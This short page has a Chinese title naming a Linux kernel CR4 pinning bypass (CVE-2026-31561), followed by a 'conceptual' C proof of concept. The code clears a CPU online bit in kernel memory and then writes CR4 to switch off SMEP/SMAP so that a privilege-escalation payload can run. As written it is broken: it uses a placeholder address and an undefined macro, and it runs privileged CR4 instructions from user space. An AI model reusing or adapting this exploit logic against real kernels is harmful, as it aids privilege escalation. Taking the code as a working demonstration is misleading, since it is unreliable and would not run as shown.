CVE-2026-31561 Linux内核CR4锁定绕过漏洞

/* * Conceptual Proof of Concept for CVE-2026-31561 * This code demonstrates the logic of bypassing CR4 pinning * by manipulating the 'online' bit in kernel memory. * Note: Actual exploitation requires specific kernel offsets and capabilities. */ #include <stdio.h> #include <stdint.h> // Mock address representing the kernel structure holding the 'online' status // In a real scenario, this would be found via kallsyms or memory scanning. volatile uint64_t *cpu_online_mask_ptr = (uint64_t *)0xdeadbeef; // Define CR4 bits #define X86_CR4_SMEP (1UL << 20) #define X86_CR4_SMAP (1UL << 21) // Inline assembly stubs for CR4 manipulation (Architecture specific) static inline unsigned long read_cr4(void) { unsigned long val; asm volatile("mov %%cr4, %0" : "=r"(val)); return val; } static inline void write_cr4(unsigned long val) { asm volatile("mov %0, %%cr4" : : "r"(val)); } void trigger_bypass() { printf("[*] Attempting to bypass CR4 pinning...\n"); // 1. Modify the 'online' bit in writable kernel memory // to make the kernel believe the AP is not online. // This forces the vulnerable code path that disables CR4 pinning. *cpu_online_mask_ptr &= ~(1UL << TARGET_CPU_BIT); printf("[+] 'Online' bit modified. CR4 pinning should be temporarily disabled.\n"); // 2. Now, write to CR4 to disable SMEP/SMAP protection. // This would normally be blocked by the cr4_pinned_mask. unsigned long current_cr4 = read_cr4(); write_cr4(current_cr4 & ~(X86_CR4_SMEP | X86_CR4_SMAP)); printf("[+] SMEP/SMAP disabled via CR4 modification.\n"); printf("[*] Privilege escalation payload can now be executed.\n"); } int main() { // This is a conceptual representation. // Real exploitation involves precise memory addressing and race conditions. trigger_bypass(); return 0; }